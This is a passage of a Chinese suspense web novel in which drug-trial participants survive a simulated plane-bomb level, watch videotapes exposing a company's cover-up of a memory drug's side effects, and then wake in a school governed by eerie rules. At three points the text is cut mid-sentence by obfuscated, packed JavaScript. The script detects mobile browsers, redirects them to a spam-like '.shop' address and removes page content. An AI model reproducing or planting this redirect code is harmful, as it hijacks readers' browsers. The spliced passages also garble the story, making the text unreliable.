“这是咋了啊,一个两个的。”何成功有点摸不着头脑,这一关信息量这么大吗,先宕机了一个丁飞,这会儿连洛伊都不对劲了。 1号瞥见洛伊痛苦的神情,皱了皱眉,上前一步开口:“给他们一些时间,我们先找找其他线索。” 众人站的位置靠近货舱门,骤然静了下来,敲击的响声便格外明显。咚…咚咚…咚……响声时疏时密,敲上一阵,便会进入沉寂,一段时间后才又重新响起。 “这会不会是……摩斯电码?”谢名扬侧耳倾听,忽然开口猜测道。 “还真有可能!”何成功扎进杂物堆里摸出了纸和笔,“我懂摩斯电码,我来记录一下这敲击是想传达什么意思。” 他把耳朵紧紧贴在货舱门上,全神贯注地聆听,笔尖在纸上点点划划,不一会儿,一串文字跃然纸上: “乘着纸飞机也能达黎明。” “……什么玩意儿?”何成功念了一遍,又检查了一遍拼写,并没有出现对应错误的地方,他只觉得无厘头极了,“都这个时候了,发个电报还要搞文艺吗!” “纸飞机有了。”谢名扬拎起那只纸飞机,掂了掂,重量很轻,就是一张纸,不太像藏着机关的样子,“‘前往黎明’指的是…” 那只纸飞机,应该是作业本上撕下来的纸折成的,做工粗糙,纸页微微泛黄,看起来有些年头了,却被保存的很好,仅在把手处微微磨损,是摩挲了千万次的痕迹。 一时没有头绪,他用食指和大拇指捏住纸飞机上下舞动着,模仿着飞机飞行的起伏。 “要到达黎明,首先得先身处黑暗吧。”何成功看着窗外湛蓝的天,随口嘀咕。 话音刚落,似乎是触发了什么机关,飞机突然剧烈地颠簸了一下,随即窗外的光线肉眼可见地暗了下去。 “哎哎哎!”何成功扑到舷窗前嚷嚷,“至于这么言出必行吗!” 仿佛有一只巨手瞬间拉上了天空的帷幕,不到十秒,窗外已是一片纯粹的、令人心悸的漆黑。少了外部的照明,机舱内只剩下了应急灯闪烁,黑暗吞噬了大部分区域。联想到上一关在黑暗中的遭遇,众人当即绷紧神经,警惕地摆出防御姿态。 戒备了半晌,预想中攻击他们的奇怪生物似乎并没有出现。众人刚想喘口气,就听见急促的蜂鸣警报声从驾驶室中传来。 哔—— 作为唯一能驾驶飞机的人,何成功顾不上身边潜在的危险,大步冲进了驾驶室,只见雷达屏幕上,数个高速移动的光点正从不同方向,呈包围态势向中心逼近。 有东西在迅速接近飞机! 几乎是同时,一阵强烈的、被窥视的寒意顺着脊背爬至后脑勺。 惊得他心头一震,这可是35000英尺的高空,有什么东西能在这种极端环境下主动接近他们呢? Memory公司,真是舍得下血本! 何成功恨恨地啐了一口。 他全神贯注地驾驶着飞机,视野里漆黑一片,只能死死盯着仪表盘,在稳住航线行驶的前提下,竭力避开那些不断贴近的不明物体。 11. 唯一幸存 可是雷达显示前方的不明光点越来越多,渐渐汇成了一片模糊的亮区,何成功知道不能再继续向前了,他调整方向避开了那片诡异的区域。 “这样下去不是办法,它们总会追上我们!”何成功的声音从驾驶室传来,“别愣着!找找有关‘黎明’的线索!” 谢名扬和1号立即开始行动;洛伊定了定神,甩开杂念,也加入了寻找线索的行列;唯有丁飞仍是垂着头,不知道在想什么。 应急灯的光将几人的影子拉长、扭曲在墙壁上,随着机身的每一次微小颠簸而晃动。能见度很低,几人贴着墙根开始地毯式搜索。地上散落的物品各式各样,有公文包,有化妆品;有时尚杂志,有大部头小说;甚至还有奶瓶和儿童绘本。 洛伊拾起一顶棒球帽,几不可闻地叹了口气。 “怎么了?”1号的声音从身后传来,他的音色低沉,像大提琴那样醇厚有力。 “只是在想,当时他们心里都在想什么呢。”洛伊苦涩地勾勾嘴角,她自认为不是感性的人,可看见这顶鸭舌帽,心底还是不由得泛起一阵伤感。 在那张照片里,这顶帽子戴在一个八九岁的小男孩头上,他咧着嘴笑着,门牙缺了两颗。他本该在最无忧无虑的年纪,和家人一起度过一个愉快的假期。 可结合此前找到的线索,还有一步步解谜拼凑出的真相,洛伊明白,他的假期,或许就永远停留在了这架飞机上。 地上的每一件物品,都对应着照片里一张鲜活的笑脸;每一张笑脸背后,都藏着一段独一无二的人生。 究竟是谁,剥夺了他们未来? 从第一关开始,洛伊心底总萦绕着一种感觉——好像有一根无形的线,暗中将所有的一切悄然串连。如果这一切背后真有联系,那根串联起所有悲剧的“线”,会不会也……缠在她自己手上?这念头让她呼吸一窒。 她开始期盼能快些到达属于她的关卡,早点找回丢失的记忆,好摆脱这份如影随形的自我怀疑,卸下心头的重负。 察觉到洛伊情绪的低落,1号走到她面前,俯身与她平视:“洛伊。”他的目光深沉,像一汪深潭,看不见底,精准地捕捉到了她眼底那丝未来得及藏好的、对自己的诘问,“这不是你的错。” 橙黄色的光在他的脸上明灭闪烁,他的眉宇间染着淡淡的担忧,嘴角的弧度也轻了,似乎很不愿看到她这般消沉。 他好像能知道她在想什么。 洛伊迎上他的视线,她不明白这个男人为何用这样的眼神望着她,可纷乱的思绪,却在他的安慰中悄无声息地松开了些。 她抿了抿唇,不自然地挪开了眼:“……谢谢。” 顿了顿,又补了句:“之前,还有现在,都谢谢了。” 她记得他通道里无声的殿后,危险中让渡的呼吸,还有此刻这份不必言说的开解。她不知道眼前这个男人一而再再而三地帮助她,究竟想从她身上获得些什么,但她能隐约感觉到,他并无恶意。 只希望到最后,他索取的报酬,自己能给得起。 1号露出了招牌的微笑:“客气。” 几人将机舱内所有物品悉数检查归置,算上那只背包,总共27件。这是一个微妙的数字,因为那张照片上,恰好有28张面孔。 倘若物品与人一一对应,那么消失的第28件物品是什么呢?而与它对应的,又是谁? “怎么样了?”何成功冲机舱急声问道,“光点越来越多了,再这样下去,它们迟早要撞上来。” 35000英尺的高空,逾900码的时速,任何撞击都是致命的,再这样下去,可能等不到炸弹爆炸,他们就得先一步坠毁了。 “第二十八件……”许久没听见丁飞的声音,他猛地开口倒是吓了几人一跳,他的声音干涩沙哑,“是纸飞机,那是我的纸飞机……” 丁飞摇摇晃晃地站起身,独自立在货舱前的阴影里。他抬起手臂,重重擦了一下脸,像要抹去什么痕迹。 “你想起来了?”看他这副样子,记忆应是回来了。想到郝梦恢复记忆时那般痛苦,洛伊没有继续追问,只安静地等着,把解释权交还给了丁飞。 “这是我的关卡……”丁飞喃喃道,他的表情痛苦,仍强撑着开口,说起了当年的事。 “三年前,妈妈难得休假,带我搭乘这班飞机去往小岛度假。” “那个地方,小时候妈妈常领我去,可后来她工作越来越忙,就再也没有去过了…” 他目光有些飘忽,像是又陷入了回忆中。 “不好意思,扯远了。” 他自嘲地笑笑,继续道:“不知为何,妈妈上飞机后就心神不宁,总是四处张望着,似乎在找什么东西。她还跟空姐说必须取消航班,因为飞机上可能有恐怖分子。” “没有人理会她……包括我……我们只当她是胡言乱语。她家族有遗传性的精神分裂症!那段时间她精神本就绷得很紧,我以为她……” 丁飞陡然拔高了声音,像是想为过去的自己辩解,可他很快反应过来了,现在解释这些又有什么用呢?压下翻涌起来的情绪,他努力保持平静地继续讲述。 “我觉得很丢脸,按住她,告诉她只是太累产生了幻觉。我还和她说了重话……我说如果她再这么闹,我下飞机就消失,不陪她过这个假期了……” 丁飞攥紧了拳头,手控制不住地发抖。 “妈妈看上去很难过……但她安静了下来。周围的人都在指指点点,议论妈妈是个疯子,我想和他们理论,却猛然发现,伤妈妈最深的,可能正是我自己……” 啪!啪! 清脆的巴掌声在舱内响起,是丁飞狠狠地扇了自己两个耳光。他垂着头,半晌没吭声,再抬头时,眼底红得厉害。 “妈妈最害怕别人提她的家族病史,因为她真真切切地目睹了那些亲人变得疯癫,变得有攻击性。她不想变成那样,也不希望她的孩子会那样……也正是因此我和妈妈才成了一家人。” 谢名扬心头一震,终于明白了为什么照片里的母子二人,长得毫不相似。 “我明知道她的痛处,却帮着外人戳她的伤口……”丁飞突然崩溃地嚎了起来,抬手又要继续扇自己。 1号按住了他的手腕:“现在不是愧疚的时间,继续说。”他的声音带着不容质疑的威严。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166730|196748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >丁飞吸了吸鼻子,用力抹了把脸,哽咽着继续:“飞机起飞后的事,和《飞行日志》上写的差不多,我们经历了剧烈的颠簸和乱流。飞机稳住后,机组成员开始排查故障,却在登机口门上发现了炸弹。” “飞机上人心惶惶、乱作一团,可炸弹并没有立即爆炸,直到飞机快要降落,大家以为得救了的时候……” 他深吸一口,缓缓吐出:“妈妈挡在了我身前。整架飞机……我是唯一的幸存者。” “如果……如果当时我相信她,和她一起要求取消航班,结果会不会变得不一样?”丁飞抬起头,目光里充满着期待,他希望有人给他一个否定的答案,好减轻他内心的自责与愧疚。 众人沉默不语,不知该如何回应他。 “关于……你妈妈和其它乘客的事情,我们深表遗憾。”谢名扬斟酌着措辞,顿了顿,话锋直转向核心,“冒昧问一下,你后面有参与官方调查吗?有没有得到什么有价值的线索?” 没错,参与Memory公司的试药是纯自愿的行为,丁飞甘愿冒着生命危险参与试药,难道是因为他发现公司与当年那起空难之间有着某种牵连? 果然,丁飞点了点头。 “我妈妈是Memory公司的员工。”他顿了顿,补充道,“准确来说,是核心研发成员。” 这一消息如惊雷般在众人间炸响。 Memory公司的员工? 这么说,背包里的药品研究报告的出现就得到了解释,应该是丁飞妈妈的物品。 作为核心研发人员的家人,丁飞应该比普通人更了解试药的危险性,那么他参与试药的目的是…… “有些信息,恕我不能完全和大家共享。”丁飞抬眼,审视的目光扫过众人,“我不能确定你们之中有没有‘修正者’。” 修正者! 听到这三个字,洛伊眼睛亮了亮,看来丁飞知道一些内幕。 “我知道的不多,因为在这之前我从未了解过妈妈的工作。” “事故发生后,收拾妈妈遗物的时候,我发现妈妈似乎参与了一种新药的研发。这种药品的保密级别极高,我翻遍文件、查遍资料,甚至去公司询问了,也没能弄明白这是一种怎样的药品。” “只知道这种药会对人的记忆产生影响。” “因此,当试药的邮件发到我的邮箱,我毫不犹豫地提交了试药申请。我想知道,那起事故与这种药品,究竟有没有联系。” “至于‘修正者’,”他看向洛伊,他能从她的表情看出来,她对相关信息很感兴趣,“据我了解,是竞品公司派来的侦查人员。他们会伪装成试药者、新员工渗入公司,企图盗取未公开药品的资料。” 你们之中存在“修正者”。 想到第四条留言,排除掉通关的郝梦和恢复记忆的丁飞…… 也就是说,他们剩下的四人之中,可能存在着竞品公司的侦查人员。 会是谁? 洛伊思索着众人的异常。 每个人似乎都是一个厚厚的茧,周身缠绕着千丝万缕的谜。而怀疑,一旦开始滋生,便悄无声息地浸染了每一寸空气。 12. 录像疑云 首先是1号,这个男人身上疑点重重。虽然沉默寡言,一直刻意降低着自己的存在感,可每当陷入僵局,他总能在关键时刻推众人一把,仿佛早已洞悉了游戏的规则。 再是何成功,他脸上狰狞的疤,强健的体魄,出色的领导力还有娴熟的驾驶技术,每一点都彰显着一个事实——他绝不是普通人。洛伊有些好奇他的背景,也不免对他产生怀疑。 最后是谢名扬,这个戴着眼镜的青年显然有所隐瞒,他的眼神不真诚,隐隐透着好胜的较劲感。但凡有线索,他总是冲在最前面,尽力地表现自己,像是要和谁争些什么一样。 洛伊甚至开始怀疑起已经验了“好人牌”的郝梦和丁飞。 最后,她的思绪回到了自己身上。 她觉得自己也很可疑。 关卡的布置,解谜的设计总让她生出熟悉感,这尚且能解释为记忆遗失增强了她的既视感。 可兔子偏偏将玻璃瓶放进她的口袋,她总能有未卜先知的危机感,这些又该作何解释?她隐隐感觉自己被选中了,却不知道是谁选中了她,自己又要做什么。 其他人似乎也是相似的心路历程,他们望向彼此的眼神变得复杂而微妙。可在恢复记忆、获得更多线索之前,他们没有任何证据去指控他人。 “我能说的就是这些。”丁飞突然打住了,抬手扶着额头,“……该死,还有些地方,记不清了。” 洛伊突然反应过来,丁飞絮絮叨叨地讲了这么多,通关的门却并未出现。这意味着游戏还没有结束——有什么关键信息被遗漏了。 “小心!”来不及等他们细想,何成功大喝一声。 滋啦—— 刺耳的金属摩擦声穿透机舱的钢板,直钻耳膜,激得人汗毛倒竖。飞机猛地向右侧倾斜,众人猝不及防,接连踉跄地摔在座椅和地板上。 “他们数量太多了,刚刚那下根本躲不开。”何成功紧张地盯着仪表盘,万幸各项数值还在正常区间,擦撞并未伤及动力系统。 他们太想知道事情的真相了,只顾着听丁飞讲述,完全把当下的险境抛诸脑后,直到撞击传来,才堪堪将思绪拉回了眼前的危机上。 “你对敲击声传达出来的信息有没有什么头绪?”洛伊问丁飞。既然是为他准备的关卡,他应当会对这些信息有所反应。 “乘着纸飞机也能达黎明…..纸飞机……”丁飞低声念叨,眼睛忽的亮了一瞬,他将纸飞机小心地展开——纸中央赫然写着一串数字。 他拿着纸飞奔向驾驶室,摊在何成功眼前:“何大哥,你看看这是不是坐标?” 何成功抽空扫了眼,随即表示肯定:“看起来确实是坐标。”他又结合雷达图一对,皱起了眉,“不对,这个坐标……在前面不明飞行物最密集的方向!” 此话一出,众人原本因看到希望而雀跃的心又沉了下去。 丁飞却异常坚定:“何大哥,你相信我,就往这个方向去。”他的手轻轻捻着纸的一角,“这纸飞机,是我小时候叠给妈妈的生日礼物。没想到她保存得这么好,一直带在身边……我送的时候,里面就是一张白纸,根本没有数字,这坐标信息一定是妈妈留下的!” 丁飞的表情严肃,眼神笃定。何成功看了他一眼,咬咬牙扬声道:“都回到座位上去,坐稳了!” 众人得令,迅速就位扣好了安全带。何成功改变航向,飞机径直朝雷达图上光点最密集的区域冲去。 这是一次极具挑战性的飞行,客机远不及不明飞行物灵巧,每次变向都慢上半拍,机身各处不断传来尖锐的碰撞声。何成功拼尽全力,死死护住引擎。 突然,一道黑影猛撞在驾驶舱前窗上,外层玻璃应声碎裂,蛛网般的龟裂瞬间爬满整块玻璃。 “该死!”何成功低咒一声。前窗玻璃经不起二次撞击了,一旦破碎,舱内外巨大的压强差会直接把他们所有人甩出窗外。 他凝视着雷达图,越接近那个坐标,光点分布就越诡异,呈现出两侧密,中间空的形态,像极了一条''隧道'',笔直地指向目标坐标。 何成功不知道这是通往天堂的阶梯,还是通向地狱的大门。他只知道,如果不顺着隧道行进,便会与密集的飞行物群迎面相撞。 他心一横,果断操纵飞机,驶入了隧道中。 赌对了! 一路畅通无阻。 隧道两侧掠过点点光束,那是飞行物上的信号灯,像路标一样指引着方向。尽头处有一点白光,越靠近,白光范围越大。穿过那片光亮,眼前豁然开朗。阳光如瀑,倾泻而入,瞬间驱散了舱内所有黑暗与恐惧。 他们成功了。 他们抵达了黎明。 许久不见的蔚蓝天色和明媚阳光,让劫后余生的恍惚感格外强烈。就在这时,客舱后部传来机关触发的咔咔声——货舱门,终于打开了。 “结……结束了?”丁飞抱着头缩在座位,见四周大亮,迟疑地问道。 洛伊解开安全带,起身径直向货舱走去,原本紧闭的货舱门正虚掩着,规律的敲击声从门缝里持续传来。 “门开了。”她告知众人。 货舱门窄小,连洛伊都得侧身通过,里面内堆着满满一舱行李。门后悬着一柄铁锤,连着电线,想必敲击声正来源于这个巧妙的装置——这是一个电磁铁,通过电流的通断,可以控制铁锤起落,从而制造出有人在敲击货舱门的假象。 可是谁设置了这个机关?又为什么要将人引进货舱? 刺鼻的化学物品气味钻进鼻腔,呛得他们皱紧了眉头,捂住口鼻后退了半步。 “日志里提到,液压管路被破坏了。”谢名扬的声音从掌心后闷闷传来,“这应该是液压油的气味吧。” “分头找泄漏点!”洛伊一声令下,众人四散开来搜寻。 很快,他们在一堆行李后找到了断裂的液压管道。切口非常整齐,绝不是自然老化造成,摆明了是有人为破坏制造的漏液。 可通常飞机上都有两套备用的液压系统,倘若破坏者是想干扰飞机的飞行,完全可以破坏其他更为重要的系统和设备。 可他偏偏选择了危险系数较低且容易排查的液压系统,不像是为了干扰飞行,更像是故意引起注意,好让某些东西……被看见。 洛伊心念一动,立即动手开始翻找泄漏处的那堆行李。其他人虽不明所以,见她动作,也跟着翻找了起来。 很快他们便明白洛伊的用意了。 数十个行李箱依次排开,每个箱子里都整整齐齐地摆满了录像带。黑色的录像带上开着两个洞,像来自深渊的眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166731|196748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,静静地注视着他们。 “我记得刚刚搜查客舱的时候见过VCR一体机。”谢名扬小跑回客舱,不多时搬回了一台小型设备,“看看型号能匹配上吗?” 洛伊随手拿起一盘插入录像带舱,型号合适,正是为这些录像带准备的。 她将投影照射在舱壁上,一阵雪花过后,一个穿着白大褂的女人出现在镜头前。她带着护目镜,坐在一间洁净的实验室里,身后的白板上画满了公式与图表。 “研发日志第47天, 记录者:丁玉。” 丁玉的声音里藏着淡淡的疲惫。 丁飞瞪大了眼睛,猛地向前一步,几乎要扑到投影画面上:“妈……” “研发取得了阶段性进展。我们完成了首轮动物实验。在严格控制剂量和环境的条件下,不同个体对药物的反应差异比预期更显著。” 丁玉指向白板上一条上升趋势明显的绿色曲线:“大约六成实验鼠表现出明显改善,尤其是在空间记忆和习得速度上。测试数据稳定,可重复性高。” 接着,她指向另一片散乱分布的红色数据点:“但剩下四成的反应很不一致。有的改善微弱,有的毫无变化,还有极少数出现了行为异常——比如认知混乱、反应迟钝。” 她正视镜头:“目前来看,这药并不具有‘普适性’,在弄清楚这种差异的根源之前,我不会批准扩大实验规模。下一步的重点是建立筛选标准,找到那些真正能从药物中受益的个体特征。” 说到这里,丁玉停顿了片刻。她摘下护目镜,揉了揉鼻梁。 “另外,”她重新看向镜头,眉头蹙起,“今天发生了计划外事件。助理研究员在配制药品时操作失误,该组小鼠在给药6小时后,表现出……异常行为。” 丁玉调出一段视频片段。画面中,几只小鼠行为怪异:有的反复用头撞击笼壁,有的在原地不停转圈,有的则完全无视食物和水,僵硬地缩在角落里。 “它们似乎丧失了基本的空间秩序感与习性记忆。”丁玉的声音压低,“异常行为持续约12小时后,所有个体均出现突发性惊厥,并在24小时内全部死亡。尸检显示,其海马体与杏仁核区域有大量神经元异常放电痕迹,但具体机制尚不明确。” 录像中的丁玉沉默了几秒。 “此事件已按流程上报。但上级指示,重点记录‘记忆增强效果’,‘异常反应’仅作内部备注,不纳入正式报告。”她直视镜头,一字一句道,“我认为不妥。任何非正常死亡都应彻底调查,而非掩盖。我会保留完整数据,以备复查。” 录像到此结束,屏幕恢复雪花。 众人面面相觑。 “她说的药品,指的是用在我们身上的ROM吗?”谢名扬皱着眉头问道,“居然会有这么明显的副作用?可我们目前似乎还没有任何异常表现。” “证明我们属于幸运的那一批。”洛伊随口答着,迅速取出录像带,侧面的标签写着47,与研发天数相同。 “按编号看,前面还有46盘。”谢名扬快步走到行李箱前,蹲下身开始翻找,“从1开始看?” “时间有限,我们不可能看完所有。”洛伊扫视着整齐排列的行李箱,大脑飞速运转,“一定有什么方法能让我们快速定位关键信息。” 13. 宁为玉碎 洛伊将录像带翻转,背面标记的日期是“11月30日”。她抬眸看向丁飞:“你还记得,出事那天是几号吗?” 丁飞眼底猩红一片,毫不犹豫地回答:“5月27日。我永远……永远不会忘记那一天……” “将那个时间点前一周内的录像带找出来给我。” 谢名扬迅速翻找,抽出两盘:“5月23日……25日……都在这里。” 洛伊接过录像带,将标注着23号的那一盘插入设备,开始播放。 录像显示时间是凌晨。实验室里异常安静,只有仪器运作时发出的极低频嗡鸣。冷白色的顶灯照亮了操作台,上面整齐摆放着记录本、微量移液器和几排贴着编号的试剂管。 丁玉坐在镜头前,眼下有淡淡的青影,但眼神明亮,嘴角带着一丝久违的、松快的笑意。 “研发日志第176天 记录者:丁玉。” 她的声音里带着一丝难以抑制的兴奋。 “申请通过了。药物获准进入临床测试阶段。目前药性在小鼠实验体上已实现高度可控。早期观测到的异常反应,已基本消失。” “偶尔仍有极少数个体出现急性衰竭,概率低于千分之三。初步归因为个体特异性代谢差异,在做好药物过敏性测试的前提下,基本可以杜绝这类危险。” “如果一切顺利,如果它真能沿着我最初设想的方向发展……或许真的能帮助很多人。” 说到这里,她脸上洋溢着幸福的笑容,那笑容里有憧憬,也有如释重负。 “未来几天,我会跟进临床筹备。希望能看到积极的进展。” 画面暗下,屏幕变为雪花。看完这一盘,压抑的气氛缓和了些。洛伊换上了下一盘。 场景依旧是那间实验室,但气氛截然不同。时间是深夜,大部分灯已关闭,室内昏暗不清。仪器凌乱的堆在一旁,几份文件散落在地,仿佛刚刚经历了一场仓促的搜查。 丁玉看起来有些不安,双手紧紧交握放在桌上,脸色异常苍白。她几次欲言又止,视线警惕地扫过镜头外的黑暗角落。 “研发日志第……178天 记录者:丁玉。” 丁玉刻意压低着声音。 “他们拿走了全部核心数据和样本……强制给我的团队放了长假,不再允许我们接触后续的任何研究。” “正常的临床周期至少要半年到一年,可他们等不了。他们……已经把药投入使用了。我不知道具体用在了哪,███全程对我隐瞒……”她摇了摇头,眼底浮现出深切的恐惧与失望,“以我对他的了解……绝不是什么正当用途。” 丁玉四下环顾,忽然向前倾身,离镜头更近,用几乎是气声的音量说:“他们用小飞威胁我,我……别无选择。” 听到自己的名字,丁飞猛地一震,睁大了眼睛。 丁玉向后靠去,抬手用力抹了把脸,放下手时,脸上只剩下一种破釜沉舟的平静。 “我偷偷备份了完整的实验报告和原始数据。得把它们交出去,交给知道该怎么处理的人。公司目前应该还没察觉……” 她停顿了很久,久到让人以为录像已经结束。 “我不知道最后会怎样,也许在研发这个药品的时候,我就应该想到可能会有这样的结果。只希望小飞……别怪我。” 她的眼神里有决绝,有歉意,有无限的不舍,最后凝聚成一种清澈的坚毅。 “这可能是我最后一次录制实验日志了,我会将他们妥善保存。这些录像带……会送到该看的人手里。” 她一字一句,清晰而郑重地嘱咐: “不要忘记来时路。” 她直直地望向镜头,目光仿佛穿透了时空。 录像结束。 货舱里一片死寂。 “原来妈妈独自承受着这样的压力……”丁飞喃喃地念叨着,“我却没有相信她……”他呆滞地望着早已变为雪花的投影,显然又陷入了心魔。 “那就找到事情背后的真相,弄清楚究竟是谁造成了这一切!”1号难得表现出明显的情绪波动,他双手扶住丁飞的肩,“这才是丁玉……女士,想要看到的,不是吗?” 丁飞肩膀微微一颤,点点头,眼底涣散的光逐渐凝聚,目光变得坚定。 “丁玉女士说,这些录像带会送到‘该看到的人’手里。”谢名扬缓缓开口,“而我们看到了,为什么会是我们?” 他的目光扫过众人,想寻找在场的众人究竟有什么共同点。这个问题,可能得等所有人都找回记忆,才能得到解答。 “录像带里揭露了药物的不合规投产。”洛伊接过话,眉头微蹙,“我们作为试药者,却被允许,甚至被引导,接触到这样的内幕,这本身就很可疑。” 究竟是谁设计了这一切?布下这个看似绝境、却又留下线索的关卡,将这些本应被掩埋的真相,精准地送到了他们眼前? 她想不通。 事情好像渐渐变得复杂了起来。 那双窥探的眼睛似乎发现了异样,它察觉到了他们逼近核心的思考,骤然打断了这危险的探索。货舱尾部,渐渐浮现出两扇门。 看来丁飞顺利找回了所有的记忆。 与此同时,何成功难掩惶恐的声音,混杂着刺耳的警报,从驾驶舱传来:“左侧发动机失灵了!” 话音刚落,飞机猛地向左侧倾斜。 洛伊等人踉跄着冲到客舱,接应何成功:“门出现了!快走!” 此时他们才骇然发现,炸弹上的倒计时堪堪剩下了不到一分钟。 何成功脸色铁青,用最快速度将驾驶模式切入自动驾驶,大步冲向货舱。 【倒计时:00:30】 丁飞将手掌按上那扇刻着“睁眼”图案的门,门无声向内推开。其余几人也不敢耽搁,将手印贴合另一扇门上的印记,露出了门后漆黑一片的通道。 【倒计时:00:15】 谢名扬第一个侧身闪入。何成功与1号紧随其后,身影没入黑暗。 【倒计时:00:10】 丁飞反常地在门口顿住了脚步。以他的性格,但凡嗅到一丝危险的气息,他原本绝对会是第一个逃离的。 可此刻,就在洛伊即将冲入门内的刹那,他却猛地伸手,一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166732|196748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 攥住了她的手腕。力道很大,几乎要掐进她的皮肤。 他急速凑近,声音压得极低,几乎要被倒计时的滴答声和愈发密集的警报声淹没,却字字清晰地钻入洛伊耳中: “我好像见过你们两个……” 【倒计时:00:05】 话音未落,已进入通道的1号竟突然折返,一把将洛伊拉入门内,厚重的金属门在身后轰然闭合,几乎就在同一瞬间—— 轰—— 并非预想中惊天动地的爆炸巨响,而是一种沉闷到极致轰隆声,紧接着背后传来海啸般的高温热浪。哪怕隔着厚重的金属门,众人依然能感到那毁灭性的冲击波狠狠撞了上来!通道开始剧烈震荡! “跑!”不知是谁吼了一声。 求生的本能压倒了一切。他们在漆黑、狭窄、急剧震颤的通道里跌跌撞撞地狂奔,身后那吞噬一切的热浪仿佛有生命的怪物,紧追不舍,滚烫的气流几乎要舔舐到他们的脚后跟。 前方,一点白光出现,迅速扩大成出口的轮廓。 没有任何犹豫,五人用尽全身力气,朝着那唯一的光明纵身一跃—— “啊——!!” 脚下,骤然踏空。 失重的恐慌扼住喉咙,失控的惊叫脱口而出。 急速下坠中,洛伊在剧烈的风中勉强回头。她看到了那扇“出口”的门上,熟悉的“应急通道”标识正幽幽反着光。 她看到了蔚蓝的天空。不,那不是天空。 那是一面巨大的、正在头顶迅速远去的弧形屏幕。屏幕上,还残留着逼真的蓝天白云影像,像素点在边缘微微颤动。 原来,他们从未离开这栋建筑。刚才那惊心动魄的万米高空危机,都只是在这座为他们精心打造的“楚门的世界”里,进行一场无比真实的沉浸式模拟冒险。 坠落,仍在继续。 强烈的失重感撕扯着感官,洛伊几乎要昏厥过去。就在意识模糊的边缘,一阵清脆的铃声,隐隐穿透呼啸的风声,钻进耳中…… …… “现在该怎么办?按照他们的‘规则’,我们必须要完成两部分的任务。”是谢名扬的声音,他语气焦灼,似乎在和谁争论着什么,“她现在伤成这样,带上她只会拖慢我们的效率。不如就让她留在这里休息,我们先去完成任务。” “……那谁来保证她的安全?”何成功沉默片刻,似乎在权衡可行性。 “规则里明确写了‘请在早上九点到下午三点内离开宿舍,其余时间,宿舍是安全的。’”谢名扬努力说服着何成功,“现在是下午五点,距离明天早上九点还有整整十六个小时。这期间宿舍里是绝对安全的,她留在这里反而最稳妥……” 好吵,他们在说什么…… 洛伊悠悠转醒,只觉得脚踝处传来了一阵剧烈的刺痛,瞬间驱散了她脑中的昏沉。 “嘶!”她疼得抽了口气,彻底清醒过来。 “你醒了?”何成功立刻注意到了她的动静,见她苏醒,小跑着来到她面前,“我们简单检查过,你的脚踝处有较严重的挫伤,已经做了应急处理。身上还有其他地方不舒服吗?” 14. 诡则校园 洛伊仔细感受了一下身体其他部位,似乎并无大碍,只有右脚脚踝处,稍一动弹便炸开尖锐的痛楚,疼得她冷汗涔涔。好在渐渐地,那股剧痛被压下去些许,伤处传来一阵冰凉麻木的感觉,浓重的药味弥漫开来,想来是他们做应急处理时喷了镇痛喷雾。 她费力地撑坐起身,环顾四周。自己正靠坐在一张下铺床头,房间里类似的铁质上下铺共有三张。墙面斑驳,地上铺着显脏的碎石砖,剩余的空间里,每边靠墙并排摆放着三张书桌,是再典型不过的学生宿舍布局。 “现在……是什么情况。”洛伊刚出声就发现自己哑得厉害,何成功默默递过一瓶水。 “已经是第三个副本了。”何成功与她同步信息,“掉下来后,我们比你醒的早一点。据刚刚的探索和观察,现在……我们在一所高中里。” “在你醒来前,广播告诉我们,在这里生存必须遵循特定的‘规则’。” 谢名扬递来一本小册子,封面上印着《学生行为规范准则》:“规则都写在里面,这一本是你的。行动之前最好先查阅一下,别违反了规则。” 洛伊快速扫了一眼,册子里列出了四个典型场景,分别是宿舍、教室、考场和食堂,每个场景下都列满了密密麻麻的规则。 她翻开”宿舍篇”,一眼就看见了昏迷中隐约听见的那条规则:请在早上九点到下午三点内离开宿舍。其余时间,宿舍是安全的。 “如果不遵守规则,会怎样?”洛伊合上册子,挑挑眉。规则这么多,很难保证完全不出错,她需要知道事情最坏的结果。 “会……被他们带走。”何成功喉结滚动了一下,缓缓拉开了宿舍的门。 洛伊顺着外开的门望去,眼睛一下子就睁大了。 门外,整齐地静立着一群学生。 他们站得笔直,穿着统一的蓝白色校服,男生剃着寸头,女生留着不过耳的短发。每个人脸上都带着弧度完全一致的微笑,眼睛一眨不眨,齐刷刷地盯着着屋内。 这也太诡异了。 一股寒意瞬间窜上洛伊的脊背。这是进入副本以来,她第一次见到除了他们几个试药者以外的“人”——倘若这些还能称作人的话。 “引荐”完门外的「同类」们,何成功左右环顾,迅速关上门,用气声道:“……他们无处不在,时时刻刻监视着我们。” 